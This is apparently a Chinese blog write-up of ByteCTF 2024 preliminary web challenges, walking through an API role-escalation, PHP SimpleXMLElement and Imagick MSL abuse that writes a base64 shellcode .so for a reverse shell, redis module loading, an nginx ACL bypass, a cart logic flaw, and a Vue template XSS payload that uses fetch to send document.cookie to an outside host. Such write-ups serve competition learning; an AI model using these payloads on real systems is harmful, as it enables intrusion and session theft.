bytectf初赛web

发布于 2024-09-27  58 次阅读


差一题AK

OnlyBypassMe

扫描目录发现存在swagger ui未授权

存在注册接口,登入接口,获取flag接口

直接调用发现401未授权

直接调用注册接口

调用登入接口

由于已经调用了修改用户权限接口,所以此处显示的role_id是1

调用更改权限接口,登入吼默认role_id是4,修改发现0,2,3,4都能修改成功,1不行,尝试0.6成功

由于调用获取用户信息接口后发现更改权限后需要重新登入权限才生效

随后重新调用登入接口后调用获取flag接口

ezobj

首先通过反射类 可以调用构造方法传参

第一步肯定是去读config.php里面的secret

根据这篇文章

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8

传参

?byte=SimpleXMLElement&ctf[]=http://ip/evil.xml&ctf[]=2&ctf[]=true

反正这三个文件按照他给的

然后读到key

<?php

$secret = "HelloByteCTF2024";

然后再根据https://aecous.github.io/2023/06/27/Imagick%E8%A7%A6%E5%8F%91msl/#RCE2-%E9%AB%98%E7%BA%A7%E7%89%88%E6%9C%AC%EF%BC%8C%E5%AD%A6%E8%BF%99%E4%B8%AA%EF%BC%81%EF%BC%81这篇文章

找到

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAF3AIiXBoUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=" />
  <write filename="8BIM:/tmp/1.so" />
  <write filename="8BIM:/tmp/1.wmv" />
</image>

在/tmp下面写一个1.so 何1.wmv 内容就是 要上传的so文件的base64(感觉有长度限制,我用工具生成的so文件)

然后?so=1&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/1.wmv 同时执行才会反弹shell

发现redis服务 但版本高 打不了主从复制

我们找到redis的配置文件 发现密码连上去

redis-cli -h 127.0.0.1 -a bytectfa0d90b

在网上找了一个so的文件 进行上传 chmod 777然后module load

https://github.com/0671/RabR/blob/main/exp/linux/exp.so

ezoldbuddy

直接访问存在403 想着去绕过

抓包看服务器是nginx起的 根据提示 很容易去想是不是nginx的解析漏洞

https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#flask

通过路径名操作绕过 Nginx ACL 规则

我们发现在路径后面加个空字符 然后将空字符替换成ao 就能绕过

同理 发现存在这个路由/shopbytedancesdhjkf/cart/checkout 和对应的参数

绕过方法也是一样

下面就是购买问题 这里是个逻辑漏洞 他会以第一个id的价格去买第二个id的商品

同时结合题目描述 他也会以第一个商品的数量去买第二个商品的数量

{"orderId":1,"cart":[{"id":1,"id":9,"qty":2,"qty":10000}]}

crossVue

flag:ByteCTF{464c7340e9e13c48ea689028e280c682}

payload:

{{fetch('http://6ed162bb.n0p.xyz/'+document.cookie)}}

注册用户的profile设置为payload,然后邀请admin访问页面,然后使用vue的模板{{}}调用fetch函数去请求远程携带出cookie即可


喜欢web